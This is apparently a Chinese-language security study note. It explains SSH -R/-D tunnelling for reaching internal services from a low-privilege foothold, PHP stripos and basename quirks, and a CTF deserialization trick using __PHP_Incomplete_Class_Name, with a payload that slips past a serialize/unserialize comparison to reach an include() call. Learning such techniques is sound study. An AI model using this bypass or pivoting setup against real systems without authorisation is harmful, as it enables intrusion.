ssh -R和-D

先来说说-R

这是个很神奇的参数,有两种用法

  • -R 1080
  • -R 1080:localhost:1080

后者和-L用法是反过来的,-L是将远端端口映射到本地端口,这样在本地就能访问远端服务器的服务。-R则是将本地端口映射到远端,这样在远端就能访问本地端口的服务。

前者就厉害了,研究时被AI误导了很久

image-20250818154836126

注意框起来这段话,意思就是,在不使用localhost等指定本地映射的地址和端口号时,会在本地(运行ssh指令的这台机器)自动起一个socks4/5代理服务,并且不会进行转发功能(经过测试得知)。所以如果你想要转发功能而不是让ssh帮你起一个socks4/5,就要写完整。而且ssh起的这个socks代理并不好用,会出现export https_proxy无法正常生效的问题(但proxychains可以)

-D就更厉害了,如果在远端服务器上有一些需要你访问,但你又没有权限运行一些类似gost这样的代理工具,就可以用-D来搭建一个socks服务。不仅可以用-L,也可以用-D,-D的原理是在远端起一个socks4/5代理,你只需要在自己电脑上的浏览器将代理地址修改成127.0.0.1:1080,就能用ssh帮你在远端起的代理访问远端的服务,非常适合在低权限渗透环境下使用的一个参数

stripos(‘akared’,$b)

正常情况下,会返回akared所在的起始位置,没找到返回false

如果$b为数组,stripos则会返回null

basename($a)

假设$a='/var/www/html/../ii.php';,会返回ii.php

而且各种截断手法在这里基本没有作用,只有一点值得关注,就是特殊字符会被它删掉,比如中文、%ff

对__PHP_Incomplete_Class_Name的补充

靶场笔记第24章有对__PHP_Incomplete_Class的介绍,最近在CTF里碰到了,再补充一点

当我们手动为__PHP_Incomplete_Class类赋值并反序列化再序列化它时,他会将储存的内容清除。但如果我们手动赋值的是__PHP_Incomplete_Class_Name,它会将它所赋的值在serialize时将类名覆盖成我们赋的值,具体用法如下

<?php
$raw = 'O:1:"A":2:{s:1:"a";s:1:"b";s:27:"__PHP_Incomplete_Class_Name";s:1:"F";}';
$exp = 'O:1:"F":1:{s:1:"a";s:1:"b";}';
var_dump(unserialize($raw));
var_dump(serialize(unserialize($raw)));

//
object(__PHP_Incomplete_Class)#1 (2) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(1) "F"
  ["a"]=>
  string(1) "b"
}
string(28) "O:1:"F":1:{s:1:"a";s:1:"b";}"

这种特性就可以用来绕过下面这种情况

public $value;

$ser = serialize(unserialize($this->value));
$instance = unserialize($ser);
if ($ser != $this->value && $instance instanceof Access) {
      include($instance->getToken());
}

我们的目标是让$instance=new Access;,要达到这一点就是要让$ser='O:6:"Access:"...',但$value的值又不能和$ser一样,因此我们要找一个能经过serialize(unserialize())处理后与目的一致且字符串又不是$ser的技巧,也就是我们的__PHP_Incomplete_Class_Name

具体生成payload如下

$token = new Access();
$ser = serialize($token);
$ser = str_replace('Access":2', 'LilRan":3', $ser);
$ser = substr($ser, 0, -1);
$ser .= 's:27:"__PHP_Incomplete_Class_Name";s:6:"Access";}';
$user->value = $ser;

这样经过两层处理后的$value不仅能达到我们目标$ser的效果,又和$ser在字符串上不一样,因此就能绕过